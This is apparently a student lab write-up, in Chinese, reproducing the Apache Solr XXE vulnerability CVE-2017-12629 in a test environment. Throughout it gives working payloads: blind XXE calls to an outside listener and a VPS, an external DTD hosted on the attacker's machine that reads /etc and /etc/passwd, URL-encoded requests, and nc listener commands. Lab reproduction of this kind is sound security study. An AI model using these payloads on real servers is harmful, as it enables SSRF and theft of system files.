实验要求
漏洞环境:Apache solr XXE漏洞(CVE-2017-12629)
- 复现环境中的XXE漏洞,截图证明
- 利用XXE漏洞发送HTTP请求,在VPS服务器接收请求,或收到DNS记录。(SSRF利用)
- 利用XXE漏洞读取本地的 /etc/passwd文件。(文件读取利用)
靶场搭建
进入漏洞文件目录下,运行漏洞环境:
命令执行成功后,需要等待一会,之后访问http://your-ip:8983/
即可查看到Apache solr的管理页面,无需登录。
漏洞复现
XXE漏洞原理
一般情况下,有些网站会支持XML-RPC(XML Remote Procedure Call),用户提交数据格式如下:
POST /xxe HTTP/1.1 Host: aaa.com Content-Type: text/xml <?xml version="1.0"?> <student> <useername>xxx</username> <password>yyy</password> <address>zzz</address> </student>
|
攻击者可通过插入DTD标签来读取文件:
POST /xxe HTTP/1.1 Host: aaa.com Content-Type: text/xml <?xml version="1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <student> <useername>xxx</username> <password>yyy</password> <address>zzz</address> </student>
|
XXE漏洞复现
构造payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.137.1:6666">%remote;]><root/>&wt=xml&defType=xmlparser
|
将其进行url编码:
发送的http包
GET /solr/demo/select?q=<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[<!ENTITY+%25+remote+SYSTEM+"http%3a//192.168.137.1%3a6666">%25remote%3b]><root/>&wt=xml&defType=xmlparser HTTP/1.1 Host: 192.168.37.128:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: mLvnBZTNP4mtS=5Z6BRWE9ckgj5fVytACBSQ8aUystMk7Xqg5ADwRXx9DCR4ti2XwAEqlXYac1OobPa1mooZWhy38M7.LkRxVTZoq; _xsrf=2|cc5a6916|387e0088d1426ad0f563ffb88c9227eb|1700298115 Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0 Referer: www.google.com
|
在宿主机的cmd窗口输入python -m http.server 6666
或者nc -lvp 6666
监听6666端口
将构造的http请求发送
由于这是blind XXE,页面不会回显,但刚刚创建的http服务器可以收到请求
使用nc
监听也可以收到java请求,内容更详细
接下来利用Error Based XXE读取文件
首先在宿主机www目录下新建1.dtd,写入下面内容读取/etc文件夹内容:
<!ENTITY % file SYSTEM "file:///etc"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
|
构造payload:
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.137.1:8888/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
|
将payload进行url编码:
发送请求后,成功读取到/etc
文件夹内容
SSRF利用(VPS接收请求)
基于漏洞复现中的内容,直接构造payload:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://47.109.111.193:6666">%remote;]><root/>&wt=xml&defType=xmlparser
|
将payload进行url编码:
发送请求后,在VPS服务器上接收到请求
读取/etc/passwd
将1.dtd
中的内容改成:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">
|
构造payload:
<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.137.1:8888/1.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser
|
将payload进行url编码:
发送请求,成功读取etc/passwd